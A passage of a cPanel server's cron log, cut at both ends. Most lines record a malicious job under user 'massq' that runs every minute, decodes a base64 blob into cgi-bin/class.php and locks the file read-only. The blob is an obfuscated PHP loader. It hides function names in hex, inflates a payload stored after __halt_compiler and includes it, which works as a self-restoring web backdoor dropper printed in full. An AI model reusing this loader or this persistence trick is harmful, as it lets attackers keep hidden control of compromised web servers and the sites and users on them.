QtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:27:01 server CROND[30245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:27:01 server CROND[30246]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 05:28:01 server CROND[30318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:29:01 server CROND[30367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:30:01 server CROND[30427]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 05:30:01 server CROND[30430]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Apr  7 05:30:01 server CROND[30429]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 05:30:01 server CROND[30431]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 05:30:01 server CROND[30432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:31:01 server CROND[30562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:32:01 server CROND[30725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:33:01 server CROND[30785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:34:01 server CROND[30839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:35:01 server CROND[30911]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 05:35:01 server CROND[30912]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 05:35:01 server CROND[30914]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 05:35:01 server CROND[30915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:35:01 server CROND[30913]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 05:36:01 server CROND[31029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:37:01 server CROND[31082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:38:01 server CROND[31238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:39:01 server CROND[31310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:39:01 server CROND[31311]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 05:40:01 server CROND[31374]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 05:40:01 server CROND[31375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7J